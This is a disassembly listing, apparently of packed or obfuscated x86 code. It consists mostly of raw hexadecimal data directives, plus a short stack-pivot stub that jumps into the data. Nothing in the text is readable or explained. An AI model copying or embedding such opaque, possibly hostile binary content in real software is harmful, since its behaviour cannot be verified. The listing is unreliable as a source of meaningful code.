		dd 1B38503Dh, 15761A32h, 6F00EB23h, 7D1E679Fh, 42C4990h
		dd 0E4E23589h, 7747642Ch, 8798335Fh, 1E02675Eh,	0C2E23589h
		dd 3505660Ah, 0ADCEF31Dh, 4A46A8E0h, 5D754526h,	971895B6h
		dd 0AEB28BEEh, 7EB6E81Fh, 0AF2DF190h, 0BD8CE81Fh, 400C6B85h
		dd 0A239E608h, 45DE4537h, 89068792h, 0D49895F0h, 8048EE09h
		dd 3D5E746Bh
		dd 0D6DA344Ch, 8D83A652h, 2844F941h, 5A20834Bh,	6AAA7613h
		dd 76BEE236h, 94DCD03Eh, 0D4B29EDh, 2EABAF8Ah, 0C38BEC42h
		dd 4243608Bh, 0D7F0344Dh, 0C24F7E09h, 0ED251536h, 5A630F03h
		dd 2040C63Fh, 2B529AE8h, 0E0140AEFh, 30FE119h, 352C9087h
		dd 8696F759h, 97E82048h, 0F9F1ADEh, 0F2404FF2h,	2C7C44D5h
		dd 0EB87CF9Eh, 606C39BCh, 10385179h, 5Eh, 2675EF3h, 0E235891Eh
		dd 49660AC2h, 5F3A434Ch, 0E81FB7B2h, 0AD907EB6h, 0DBACFFCEh
		dd 6205EBA3h, 412D659Dh, 1FB7F824h, 456657E8h, 0A2AE4078h
		dd 9C6304EAh, 0CE558A64h, 2168390Bh, 0AC427A42h, 609BCCA0h
		dd 50FE8745h, 28127138h, 0A6C3FE10h, 0E81FAC7Ah, 82EEA66Eh
		dd 0CAF3h, 34041000h, 9C728A77h, 0B36D890h, 88C95732h
		dd 579FE235h, 566E583Bh, 1AE685B8h, 6C000CE2h, 55363F0Fh
		dd 0CDC12F67h, 358948E8h, 98D018E2h, 11291176h,	8E5793FAh
		dd 0C6B6E235h, 420A658Eh, 2710730Ah, 6126E023h,	0B9F1D314h
		dd 99375B57h, 0C5BCF3B2h, 2015E5A0h, 0D833FBE8h, 8CF5BAFBh
		dd 72DB2348h, 58DC3C31h, 0CD402BF1h, 2D14785Bh,	0C784048h
		dd 91E820EEh, 1BF008F2h, 734A8274h, 0CD899711h,	29F8E44Ah
		dd 0C2000002h, 5B34DFF7h, 0D8B75C74h, 533CD7EFh, 0D1BE556Dh
		dd 1344AFE7h, 0B2CABC3Eh, 31493659h, 0B1C9B5DAh, 0D45355Ah
		dd 1B7E47E6h, 0E8262615h, 47669CBh, 9833D632h, 6583421Eh
		dd 0E1A9C62Dh, 485D42A9h, 5E3B424Dh, 0E81FB7B3h, 67047DB5h
		dd 0A30D6199h, 0C910FD9Eh, 1FB884ACh, 0E4AC64E8h, 5825060Ah
		dd 0AEC2CE20h, 1FB861CBh, 0B8D0B8E8h, 334B3156h, 0BBD3BADDh
		dd 0F3C530A7h, 4B5285A2h, 3850FE79h, 0D037h, 3404D400h
		dd 0A395F21Ch, 6E4856Bh, 65E2358Eh, 0A3967D95h,	0B3DFF7C0h
		dd 3ED0E8D0h, 6E179815h, 1F958A0Bh, 0EF965EE8h,	834EBA8Ch
		dd 101ACE04h, 3299F5BDh, 621B9411h, 0C7E1207h, 0CCD2D6EEh
		dd 0CB95B7D1h, 0A2C1B8F0h, 0CC04CBD8h, 32572E22h, 0EE0C66EEh
		dd 99723AF2h, 0F5CC04F6h, 0CD89A7ADh, 3D706CC2h, 0B6000001h
		dd 0F608BC3h, 8CE30840h, 76883BBh, 85EA0139h, 27709BB3h
		dd 86BE880Ah, 53D026Dh,	85BD81EEh, 139016Eh, 17724BEAh
		dd 0E8262709h, 5E627DDFh, 0D638503Dh, 89A28EEBh, 8E46E235h
		dd 0FFC9AAC6h, 86AACFF6h, 5AE23589h, 8969B792h,	0B77FE235h
		dd 0E52114FFh, 0AF732DCAh, 51325E07h, 0EC285169h, 0C8CC9485h
		dd 842F43CBh, 1C34049Bh, 0E0ACCFF2h, 264A46A8h,	0B65D7545h
		dd 0EFC1895h, 0A2C7BEF6h, 0E8261E2Bh, 9C84E1D8h, 4CE8261Eh
		dd 9734E884h, 8D816FA7h, 7C4C2BC5h, 0C729612Fh,	0CA7C507h
		dd 367E1B5Bh, 12FA957Eh, 0ED2914FAh, 6C909DB9h,	0E6B0706h
		dd 4C822CF2h, 0A6488049h, 2BC5FDC1h, 0FACC0F54h, 94F1C8B5h
		dd 4C822D8Ch, 0AFF8945Ch, 37526B2Ch, 4C822CE9h,	385B37FFh
		dd 0BCD33850h, 3D5AB4CCh, 8A4E374Fh, 3A5E03F3h,	1FB1DD4Dh
		dd 99778F78h, 14FA12FEh, 0F3C5306Bh, 0FD6893C8h, 7FA1C40Dh
		dd 614C81E8h, 8CC48AA9h, 5F266E62h, 0E81D0366h,	0BC34C81h
		dd 0C0F9CC67h, 81E87BA5h, 0C9A56D4Ch, 44AAE2AAh, 0F58h
		dd 774E0B00h, 0EE2614h,	28602F0Ch, 0B5A6CAC6h, 0F7193104h
		dd 7E90A890h, 0F31D3519h, 816FA794h, 12FC14E6h,	0A54B8375h
		dd 2AC4FCC2h, 0AA447C4Dh, 28C6FECDh, 0E7895701h, 4C781h
		dd 0BB530000h, 4, 875BDF29h, 685C243Ch,	5493h, 68242C89h
		dd 1AE6h, 68243489h, 4533h, 0BF243C89h,	5F09504h, 545FFD89h
		dd 8124348Bh, 4C4h, 4815500h, 1047A224h, 8468F31h, 47A2B951h
		dd 4E293110h, 34FF5908h, 0C4815E24h, 4,	5D2434FFh, 4C481h
		dd 0B5E90000h, 91FFFAB7h, 437AD038h, 392AA182h,	0B8228C8Ah
		dd 5F0A014h, 0E0FFC503h, 36FAA82Dh, 21FAEF4Fh, 3F0ECD0Bh
		dd 46B4D5AFh, 256424C2h, 0DE8h,	0EBE16A00h, 93706450h
		dd 0D8D3EF53h, 800FA9F0h, 0
aZFbJ		db 'Z╣■│б]j',0
		dd 22890F00h, 0E8000000h, 11h, 80A221Fh, 4817B7F1h, 9241C16Fh
		dd 518C821h, 6E9ECh, 723C0000h,	5758D95Ah, 1A606859h, 0C88A0000h
		dd 0E932FF5Bh, 11h, 690AADAFh, 0E83361C4h, 8CF4C4B6h, 1892EEE4h
		dd 870F58CFh, 5, 77C491BEh, 0F7F08151h,	8A4725FFh, 0D0C081ECh
		dd 0F47B96Eh, 2A87h, 14E800h, 49830000h, 0E92FEFDFh, 0C85C1381h
		dd 275809CDh, 90C004DDh, 0BE95F8Bh, 0EE000000h,	9310C13Ch
		dd 4074A9F3h, 815E1E5Eh, 596AC3C0h, 89F08B41h, 0FE902h
		dd 28C60000h, 0A213FF89h, 21451F85h, 6ABDD9F9h,	1EA8324h
		dd 4AF2BF0Fh, 0F4B4A4Ah, 0FFFF7085h, 0C18166FFh, 4EB68EBh
		dd 40F9FA2Fh, 56BE9h, 0D87FF100h, 5C01768Ch, 0DC81F208h
		dd 52FF7288h, 0DD7EFC06h, 0D4AE2F89h, 5BA1F5A6h, 0CE346013h
		dd 47BDE98Eh, 9D37630Eh, 7C7BD0Fh, 0B63A1D47h, 49E86D1Fh
		dd 0C86BEFE5h, 42EF669Ch, 0F271E4EEh, 56676C40h, 0B221DF17h
		dd 0AFC3AF03h, 676943F1h, 44DC1756h, 498E8428h,	0BC323894h
		dd 365AF979h, 0B162909Ah, 81F34D1Dh, 63C7681Dh,	7E121488h
		dd 0E6097B71h, 84B5350Fh, 51F22D6Eh, 8F411E57h,	6B07AB46h
		dd 56B3271Dh, 3C53C017h, 0E9A421FEh, 3E6A069Eh,	0B3E798C4h
		dd 0F8540B49h, 73DF7CF2h, 286F9D23h, 0A55F0BACh, 45DF8130h
		dd 575BFDF7h, 6F782A17h, 2D45E551h, 89C8C25Ah, 9DEB4BE8h
		dd 17567AAAh, 95C40A58h, 872448E4h, 0BA4E97C5h,	0C1340E4Dh
		dd 8C2FCA0Fh, 8DD5h, 0E86D8C00h, 21BBE549h, 0C3B568EFh
		dd 175666E9h, 66EDC775h, 0D8401756h, 0CD8476AFh, 0BFF01375h
		dd 380A70D3h, 0FA17568Dh, 606AC673h, 0E0EF43F4h, 695B7AEAh
		dd 0D685F53Bh, 0F7B5167Ah, 5F907885h, 1FC340Eh,	0A5000000h
		dd 0E74BEA6Dh, 67CB6AEDh, 0E14DEC6Dh, 19B568EBh, 923EE113h
		dd 0D508743Ah, 0E85AC0DAh, 17566714h, 1E5CFF67h, 3626A9EEh
		dd 0D6E09919h, 0C7DFF243h, 21F7651h, 6D97C3AFh,	8D1749E8h
		dd 569B453Fh, 8320B817h, 0ED6D82DBh, 9E3BB27Ch,	566714E8h
		dd 93FF6717h, 13C2353Fh, 0F4F0A44Dh, 0A8FF44D9h, 371A7627h
		dd 632E1DDFh, 8A80BE8h,	397EEEA0h, 0DE441AB9h, 5756986Ch
		dd 0D073EB17h, 1FFB7288h, 33771644h, 1BB7DBABh,	96498B45h
		dd 1DC03335h, 5D93CDB1h, 9AD87B1Ah, 0E085636Ah,	87F1340Eh
		dd 0A8000000h, 0E24EED6Dh, 19FD72BCh, 5074285Dh, 1E1478EBh
		dd 9D9B38DDh, 1C13BF5Eh, 0A1D1E616h, 1E5CA6F2h,	96DBD17Dh
		dd 752B57FBh, 6699A49Ch, 5726E0D4h, 0E6CB5317h,	73D0D9C8h
		dd 3AA0C331h, 5765B488h, 3C9F0717h, 0F3E7474h, 6C8034h
		dd 6DD90000h, 0F6CE7CEDh, 49175666h, 67D5FCD1h,	0EB9447A4h
		dd 0B3212B87h, 0A5BB520Ch, 2BC60BFFh, 43D3BB06h, 74A40E0h
		dd 8FCCC66Ah, 0AAE842EEh, 613F1B3Ah, 8536A4F3h,	0EA6D88D1h
		dd 893AD30Ah, 5684413Bh, 12CB417h, 103DB455h, 288A41CFh
		dd 0ACC0D5h, 566B8176h,	81F3B117h, 0E3D8474h, 0C435FB34h
		dd 76D5B915h, 12Fh, 0EE6D7600h,	64E9E34Fh, 0F74919B5h
		dd 10C53685h, 916CBD44h, 447A7DCFh, 55CD12BCh, 4923910Bh
		dd 0BC116C42h, 8D570924h, 1E84F672h, 0DE171DBDh, 589D6733h
		dd 0AA29E7B9h, 41B18B39h, 9C04116Ch, 85F353F0h,	116C41B5h
		dd 0A4D71957h, 0E41052F1h, 0A7F39ED7h, 7B38185Dh, 0DC3F5692h
		dd 510FA3CFh, 738379CBh, 6EF6116Bh, 0B182CBCDh,	533F9342h
		dd 753B933Fh, 0B60DE407h, 0E120591h, 2273D5F8h,	4D27CDDEh
		dd 0B465E8EEh, 7B824EAh, 9C52FCA4h, 541CBF60h, 2E23B3A4h
		dd 12CD0h, 0D5977E00h, 0CE34E428h, 6EC267C4h, 67B2241Bh
		dd 872B47F2h, 0C372E1EBh, 0CC43F1AFh, 7F12BC74h, 0C414BE7h
		dd 8AC3396Dh, 0D31D43EFh, 92D5F89Bh, 948B39E2h,	6BE2E447h
		dd 84CA62CEh, 6F0A4358h, 2123D831h, 65F4D5AEh, 5E2A9EC6h
		dd 0AE2E239Ch, 59h, 4E276EF7h, 2AB3F910h, 7E099E1Eh, 0FC158FDDh
		dd 1746F85h, 106AC924h,	1756794Ch, 26C2E63Fh, 665C8FABh
		dd 0AC63F89Ah, 365A3684h, 1C18EC9Ah, 0F4B61757h, 4FFD6788h
		dd 17571C75h, 0F6F350C8h, 2A98C6AFh, 17571C82h,	976DDF75h
		dd 0EA17571Ch, 6B4A1E72h, 81h, 31B6E32h, 27980E31h, 0D18FE3D9h
		dd 0A554854Bh, 94733D88h, 0F0534DAFh, 0BCB9398Ah, 3DB24C12h
		dd 34583498h, 0BE5B9298h, 3CDD10EAh, 0AF27CE90h, 0B1EC7ED8h
		dd 66A074Ah, 4EAEDFA5h,	500E116Dh, 0CC0DC324h, 0E7ED812Dh
		dd 6660C36Eh, 0EF1642EFh, 2F9DC39Ah, 0CBDAECAh,	0FA97DE10h
		dd 16BA2259h, 1E5ED91Ch, 0D5B9D579h, 65972979h,	27794455h
		dd 0CD0D1495h, 7BC96306h, 58C0B81h, 54006CF4h, 421B6E0Dh
		dd 0AE1C861Ch, 175666D6h, 6812B129h, 12A6C809h,	70BEE078h
		dd 91FD5102h, 55989232h, 0C30AF0A4h, 39CCBA16h,	704C6E9Bh
		dd 488D0A7Ah, 0CE07FDA9h, 4BD18F23h, 0D3A55485h, 0CC5C68D9h
		dd 1117B42Ch, 0CD9D31E0h, 33BA0173h, 0A528D286h, 698074C6h
		dd 59F3CC5Ch, 5C6911EBh, 90FC64CCh, 38150FCh, 0D8000000h
		dd 0EB6DA508h, 5B929834h, 0DC1812BEh, 599D973Bh, 0DE1C16BAh
		dd 579B913Dh, 0CF0208A4h, 57848E22h, 0CF000AA6h, 53E9822Eh
		dd 0C381E389h, 4, 4EB81h, 1C870000h, 3C895C24h,	0E7895724h
		dd 4C781h, 0EF830000h, 243C8704h, 2434895Ch, 25C368h, 240C8900h
		dd 28461DBEh, 0D6F74608h, 0BAC68146h, 680E18E7h, 6E3Fh
		dd 81242489h, 42404h, 83590000h, 348904ECh, 24348124h
		dd 38127150h, 8108418Fh, 71500871h, 34FF3812h, 0C4835924h
		dd 24348B04h, 81E38953h, 4C3h, 4C38100h, 87000000h, 0E95C241Ch
		dd 0FFF9D77Eh, 61E2065Ah, 1D8DCFA1h, 325599F8h,	0F0A672B8h
		dd 0FFC50305h, 86E7BFE0h, 8201176Dh, 659E8032h,	977BC253h
		dd 5628174Dh, 52B3AD23h, 88624243h, 0BA4BF420h,	0E7E77263h
		dd 5F6D2206h, 73C09F48h, 6E1FA91Ah, 0F1EC7859h,	6B329308h
		dd 8F899B08h, 51A18B5Bh, 4C02F86Dh, 1CE6C762h, 68113F70h
		dd 3A0D9B2Eh, 7AAD877Dh, 0BA6D037Eh, 9E847h, 4FE70000h
		dd 1CA4C3C5h, 0E89EFC43h, 9, 749DC6F9h,	743A88D4h, 31B9665Bh
		dd 665B582Eh, 817009B8h, 6C9CC3h, 0B301BE00h, 0C681641Bh
		dd 9BE46805h, 0C880138Bh, 48F2818Bh, 66179DA7h,	0C281FA8Bh
		dd 549FD1C0h, 5E9h, 438DED00h, 0C2815C7Fh, 6636CDB4h, 52C78B66h
		dd 0DE8h, 0E88A7D00h, 0C7FC5AA7h, 54F633h, 8F59A216h, 6E903h
		dd 0EF4F0000h, 0CF145C9Fh, 0B504EB83h, 850F4EF7h, 0FFFFFFACh
		dd 8D8DCE8Bh, 5F0A8DAh,	0BF9B589h, 8D8905EAh, 5EA0ADDh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 5AC35141h
		dd 2083480Bh, 928469Bh,	0ACD85C7h, 6F4005EAh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 9A6890C3h, 0F585C7FFh, 5EA25h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0ACF6C355h, 8D1ABFE2h, 8B5775BAh, 0EA1BDDB5h, 0B5FF5B05h
		dd 5EA2581h, 2C99858Bh,	95FF05EAh, 5EA2A19h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 7DC35646h, 0F18B6660h
		dd 118E0Fh, 0CE90000h, 0F8000000h, 6EC51083h
		dd 98D91AF3h, 6175086Eh, 95FF006Ah, 5EA1015h, 59EBC08Bh
		dd 0C757B43Eh, 8AB97BE4h, 4634100Ch, 0E8FC95B3h, 37DA6B19h
		dd 6489EF69h, 0B516ED5Bh, 8D7E4D3Eh, 7D2FC3D6h,	2EADCB77h
		dd 66D37DB3h, 0BA4332ACh, 27CD26CBh, 0BE1DA3F8h, 8895D7B4h
		dd 6FF23215h, 847FBB2Bh, 233A2194h, 98CF0631h, 0D88F5594h
		dd 2F78D56Ch, 3ABFC218h, 0A004EB51h, 0E942CAB0h, 5C3h
		dd 0A1F5AA2Eh, 3561145Bh, 0BDE98CCFh, 33671247h, 0BEEA89C9h
		dd 75E59918h, 0E66892C6h, 599B6135h, 0C508F2A6h, 78EA4014h
		dd 470FF2CAh, 60C9451Dh, 0E549E86Dh, 9CC86BEFh,	0B124EF66h
		dd 0CAC06C00h, 9D3EB083h, 6F315D31h, 848E2DA1h,	6408A455h
		dd 0EA6D67C7h, 0E2E8E74Bh, 1B02572h, 262CC55Fh,	33C38B66h
		dd 8CE7DDABh, 0C25A1756h, 0DFAE7CEFh, 3093957Bh, 0EE5CC668h
		dd 17573316h, 5452F169h, 0D9237728h, 74BAE49Bh,	90FC5001h
		dd 55999333h, 0E45A0AA6h, 5FED7778h, 17573365h,	0E5E340D8h
		dd 6C40F277h, 0A2175733h, 2CF5822Fh, 800113A8h,	2B066ABAh
		dd 97E37808h, 7533F23h,	0CF9878FDh, 0BEFC9A5Fh,	0BB589E94h
		dd 3A0D7BD7h, 0C817570Ch, 65135A8Ah, 91340EDEh,	59h, 49E86DC8h
		dd 669F93E5h, 0E9AB1756h, 3886727Bh, 1F6340Eh, 0AF000000h
		dd 0AD2DEA6Dh, 0F23C620Eh, 1C70DC81h, 0E2151FBFh, 64959F33h
		dd 0C371EBB5h, 175666E9h, 7403B221h, 2C00B2ECh,	9F175667h
		dd 0B04A407h, 93C4D301h, 0D618B6E2h, 0B566949Fh, 0BA1975D9h
		dd 0CC9839BCh, 4EED6D95h, 0B667E8E2h, 90FCB21Ah, 0C80BC55Fh
		dd 67896315h, 53811756h, 1B6C00ACh, 0ADC170E5h,	29CA080Eh
		dd 0A34E877Dh, 5DBF33FDh, 7AEE3263h, 5DFE92F3h,	0D184F7FDh
		dd 1D4F017Dh, 0EE518D0h, 836434h, 4CA0000h, 0E18D21D2h
		dd 0ED6DE742h, 6BE8E24Eh, 636966CAh, 8B28AAF1h,	6B525DFh
		dd 7F1DF4AAh, 0EF94528Eh, 973BD81Ah, 323497FBh,	0C2BE12BFh
		dd 5315608Ch, 0A8340ED9h, 0EC40F566h, 6AC673E6h, 90C96A06h
		dd 93h,	4EED6DC9h, 0FE9BDE10h, 671A12A0h, 0F56D1756h, 80FCF656h
		dd 2A8635B9h, 0D2AA1846h, 25175666h, 418FD1BDh,	6FCF6C13h
		dd 0D0E7154Bh, 0BA5F1A2h, 7B165F91h, 5667370Dh,	0B1128A17h
		dd 85F73914h, 7771D2h, 2B99035Dh, 17566751h, 0E0113CA4h
		dd 0B6D7EBA2h, 8AFC5CFFh, 175710B5h, 0BA330475h, 0D5DF731Fh
		dd 555AF6A5h, 3A082D5Fh, 0B0278168h, 0B7B62F82h, 0DF265614h
		dd 340F2829h, 1255h, 0C012FB00h, 2A56897Eh, 0DCD0623Ch
		dd 2F1756AAh, 6DB114B7h, 0F5CF7DEEh, 48175666h,	1A10BCD0h
		dd 3C8E14D3h, 17566748h, 5F5523BBh, 0D2175667h,	0DA8A264Ah
		dd 30A3F864h, 0D920D98Dh, 0FFE0520Ch, 7212BC43h, 94C46EAh
		dd 8923C68h, 6C41C2BAh,	80AD3511h, 96E11FD8h, 999F3CC0h
		dd 4F259754h, 0A2116C5Eh, 8CFA563Ah, 116C5DBEh,	9CDE105Eh
		dd 0EE1E5CFFh, 2B7524A9h, 60C372E5h, 0EE8BC238h, 199059B0h
		dd 1953713Bh, 0DD101ABAh, 730B47Dh, 1A376EA7h, 0B4A2D02Bh
		dd 6E305CC1h, 218D2EA0h, 0DEF7CD7Fh, 0D24A116Bh, 15BD1DBEh
		dd 5B92295Bh, 0AA5EEABEh, 0DA2E23B1h, 14Fh, 241B6E83h
		dd 0F71841B1h, 12AC88A3h, 0FE4C127Eh, 12BD4169h, 2228841Ch
		dd 0A05A0EABh, 2A208C2Dh, 66A8F6A3h, 6B724EFh, 2A98C66Ah
		dd 116D1F52h, 0F2513DA5h, 66175852h, 0E192C0CAh, 1C48424Dh
		dd 0ED1F51F9h, 773A13FAh, 5A7724AAh, 63C0D648h,	7900F065h
		dd 42F56731h, 0CFB62F6Fh, 0B543F7A3h, 0C12E2519h, 67h
		dd 11A33998h, 1756671Bh, 5055F66Eh, 7703955h, 42D7C85Bh
		dd 66A0B48h, 0B6639658h, 87D5761Ah, 56ED6F35h, 76DA4217h
		dd 0C176E628h, 0D8A2016Dh, 1756ECE4h, 5AF6A32Ah, 0D17D1E50h
		dd 439ABF5h, 3880ECAEh,	500576FDh, 62F8623Ch, 56ECDCD0h
		dd 73205217h, 5CC4B3DFh, 0ECDF85FFh, 4AD21756h,	813F1Eh
		dd 39660000h, 70DC7FF7h, 6FBABF1Ch, 97AC896h, 3C12BC46h
		dd 0C634FAA4h, 1C16B615h, 966C38D9h, 681EB25Fh,	116C445Dh
		dd 7073E1BFh, 32FE9799h, 0A8D45B0Ah, 3E389BF7h,	0B74E1AB7h
		dd 5FC59B62h, 97DA6391h, 563A96FAh, 4CC38FF5h, 6AF20CBCh
		dd 0E889CCC6h, 6F0C4E44h, 0EA89C9C3h, 3EAEEC46h, 2945F479h
		dd 5295C779h, 13BF609Ch, 3A05FF4Dh, 0E0780B7Bh,	0DF2A2F8Ch
		dd 20EA5806h, 2F06CBA3h, 6EBAE3B7h, 0AE1C421Bh,	12A6CFE4h
		dd 0CD6CED13h, 0CD610D61h, 0B7E38EC7h, 0F7A2D719h, 9294375Bh
		dd 0FB9CD85Bh, 0FB573B57h, 0DCA04CA5h, 13F79D09h, 0F3503CDFh
		dd 7BE32889h, 3BF5EF4Ah, 0C6AA06B9h, 80F729EBh,	0CF6C6184h
		dd 15585F8Dh, 83CA3064h, 1B6188D6h, 0C47E6BAh, 5E54F457h
		dd 0D8D27E1Bh, 5E54F899h, 0BBD77B18h, 85F740B1h, 4212BED2h
		dd 3D6D90FCh, 841E5183h, 2BAA3E36h, 7729B1CAh, 2BA9EFC5h
		dd 79DA42CAh, 0F5BF67Fh, 7DD180F5h, 0AF68ED23h,	4BE78B26h
		dd 20598427h, 0F7000000h, 39A8031Eh, 2BF7B18Bh,	0B19C04CAh
		dd 6AC1A25h, 8986EBF5h,	94E4428h, 3794F854h, 6DA50892h
		dd 929834EBh, 1812BE5Bh, 9D973BDCh, 1C16BA59h, 9B913DDEh
		dd 208A457h, 848E22CFh,	0AA657h, 0E9822ECFh, 56E18951h
		dd 0D96F7CBEh, 3DC68109h, 8167CD26h, 0A695B5EEh, 5EF10171h
		dd 8704E983h, 515C240Ch, 0C181E189h, 4,	4E981h,	0C870000h
		dd 1C895C24h, 3F1B6824h, 2C890000h, 0B8505124h,	55010F6h
		dd 355F2D40h, 0F74823E7h, 731C35D8h, 87055B82h,	89066FE8h
		dd 47BB58C1h, 1BA6B69h,	8B5459CBh, 0C481242Ch, 4, 8904EC83h
		dd 458F241Ch, 2434FF08h, 4C4835Dh
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5488E2
; ---------------------------------------------------------------------------
		dd 0B86B0EE6h, 5F0AE6Fh, 0E0FFC503h, 5C9B3BC0h,	12BCCBB2h
		dd 2BF323Dh, 296D33E3h,	0F9C6B69h, 6E6DB763h, 1BE045C7h
		dd 1BE7CEE0h, 4CED70A9h, 8E8h, 79A75D00h, 0B07F4706h, 0CDB8664Fh
		dd 6E95FFCh, 3F000000h,	0CB050145h, 0B2C7819Bh,	66000073h
		dd 0BB5C14BAh, 1CC9h, 37FF5DB1h, 3DE28166h, 800F5E28h
		dd 2, 0F681D08Bh, 581CBE7Ah, 0C681F4B1h, 21830562h, 0EE81C38Bh
		dd 6D1B213Eh, 0A449B957h, 565A43A3h, 0BAD0BA66h, 7E9078Fh
		dd 0E000000h, 0D8A596BFh, 0EF81CA02h, 6EBF46B4h, 81C9BF0Fh
		dd 0BF46B0C7h, 2830F6Eh, 0B4000000h, 850F4B78h,	0FFFFFFA2h
		dd 58E0Fh, 81660000h, 8DDF3AC9h, 0F0B0708Dh, 49858B05h
		dd 8905EA0Bh, 0EA0ADD8Dh, 0D88B6605h, 0ACD85C7h, 590805EAh
		dd 8D890000h, 5EA07F5h,	85C7FA8Ah, 5EA25F5h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 2FC35242h
		dd 0B5FFF583h, 5EA3151h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0BBC35242h, 7CF37889h, 0FF2C9F7Fh, 0EA2A1995h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 420BFFAh, 6A5B15h, 101595FFh, 0C08B05EAh
		dd 0EE185AEBh, 50CC87BEh, 1CC41E5Fh, 0D4638863h, 0A3993E69h
		dd 0C71D424Ch, 687961CAh, 8C50A3BDh, 38D76180h,	71A32C26h
		dd 3159E76Eh, 0C16C64FCh, 56D3BA0h, 5BB5F5EFh, 6E7EBC3Ch
		dd 8FC45F56h, 1B8ED8D1h, 507625B6h, 95EB6459h, 66030DC4h
		dd 12372D5Ch, 2B6658h, 0DE320947h, 0B1C78D8Dh, 6A05F0h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0B35909C3h, 0DEC88166h, 899D8B7Fh, 8905EA1Eh, 0EA0ADD8Dh
		dd 6E805h, 64B0000h, 5CB57CB1h,	0C5B50B60h, 6105EA12h
		dd 0CD85C75Ah, 0C05EA0Ah, 0BB00006Eh, 330158A0h, 25F585C7h
		dd 5EAh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h,	44810424h
		dd 170424h, 53430000h, 0AB1C4CC3h, 85958BE4h, 0FF05EA1Ch
		dd 0EA2581B5h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 112F4736h, 0BF6759A5h
		dd 7BDEEB2Bh, 2A1995FFh, 6A05EAh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 595516C3h, 3A629E37h
		dd 337FEBE6h, 0EA11B595h, 68E0F05h, 8B000000h, 0EA1EB985h
		dd 0FF006A05h, 0EA101595h, 0EBC08B05h, 209F759h, 0CD87F5D1h
		dd 1B250D7Eh, 0E3083CE7h, 1C5F9E8Ah, 10A8054Ch,	0F51CB6B0h
		dd 6CF2B1E4h, 0ED8028B7h, 6492C2DDh, 0B12B3DAAh, 3E5FB06Fh
		dd 0FD57BAB7h, 3A03C121h, 0AF61685Dh, 2ABE9BF8h, 3478F440h
		dd 0AA4322EEh, 0C1F4A722h, 0EFCCD418h, 0B4C04852h, 60E70F41h
		dd 6E886C6h, 27000000h,	1E32498Ch, 0D19D29A1h, 5B05EA07h
		dd 98D0Fh, 8C0F0000h, 3, 81F88B66h, 5E50C3h, 0DE52BA00h
		dd 0F62B71FDh, 0BD1D7FBAh, 33048B25h, 398D3152h, 5A05EA0Fh
		dd 1E8E881h, 0BD233806h, 5EA1435h, 9C6DF081h, 8D316057h
		dd 5EA30C1h, 0E484F081h, 0D38A1CD8h, 0F330489h,	688h, 0DDBD2300h
		dd 8B05EA30h, 2EE83D0h,	1711B589h, 4E4E05EAh, 9CB64EBFh
		dd 38FE8122h, 0FFFFFA2h, 0FFFFA885h, 41958BFFh,	0E805EA1Ah
		dd 0Dh,	0BCFB43A9h, 0E88280Fh, 24635815h, 0C98D294Dh, 5905EA07h
		dd 61FBC181h, 0B70F0000h, 68D6h, 7E90000h, 6000000h, 3FD52D9Ah
		dd 0E958B299h, 10h, 3C63B023h, 0F1A8AC64h, 25907A57h, 971527E0h
		dd 8101348Bh, 9C6DF0F6h, 0F681FC59h, 489DD4DDh,	0C6812AB2h
		dd 6BD2D767h, 8B56B7B7h, 0EA257595h, 1048F05h, 119D01h
		dd 8D8905EAh, 5EA07C9h,	43C3E881h, 880F5709h, 13h, 7E8h
		dd 0DCC8C500h, 0FEAFB719h, 0A18509h, 815B05EAh,	943BFC0h
		dd 0A8F88157h, 0FFFFF9Eh, 0FFFF9F85h, 8DA3B3FFh, 0F0B4308Dh
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 66BC0409h, 958BE487h, 5EA28C9h, 0ADD8D89h
		dd 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 6DA91AC3h, 0A6ECA9BBh, 896A3ADEh,	0EA12C585h
		dd 29C68105h, 0C736747Ah, 0EA0ACD85h, 6D6C05h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 91D96520h, 5923BB66h, 13E9h,	236EF500h, 0CA9F6D45h
		dd 85BABDA9h, 0B61F2027h, 9AC295F1h, 25F585C7h,	5EAh, 0D78A0000h
		dd 0E95B5FFh, 95FF05EAh, 5EA2A19h, 0C55B589h, 6A05EAh
		dd 101595FFh, 0C08B05EAh, 474A2BEBh, 24867633h,	1493A346h
		dd 85619E54h, 89377A5Ch, 919B619Ch, 55FFBBABh, 0E169E1F8h
		dd 7497ECA8h, 0C0F6026h, 7E97A667h, 3B8D8D97h, 6A05F0B5h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0E88EC351h, 0Fh, 93D43DBDh, 0B70F9177h, 3A294055h
		dd 0F09821Bh, 38Ah, 0F0B70F00h,	0F3BF0F5Eh, 0ADD8D89h
		dd 0BF0F05EAh, 0CD85C7FEh, 0C05EA0Ah, 0E9000070h, 12h
		dd 41F020F2h, 3FF01EB3h, 5521C9CAh, 4459708Ah, 85C78927h
		dd 5EA25F5h, 0
		dd 0C18B6653h, 19B5FF5Eh, 6A05EA1Ch, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 9D8EC350h
		dd 1810F4Ch, 0F5000000h, 2A1995FFh, 6A05EAh, 3E856h, 5E200000h
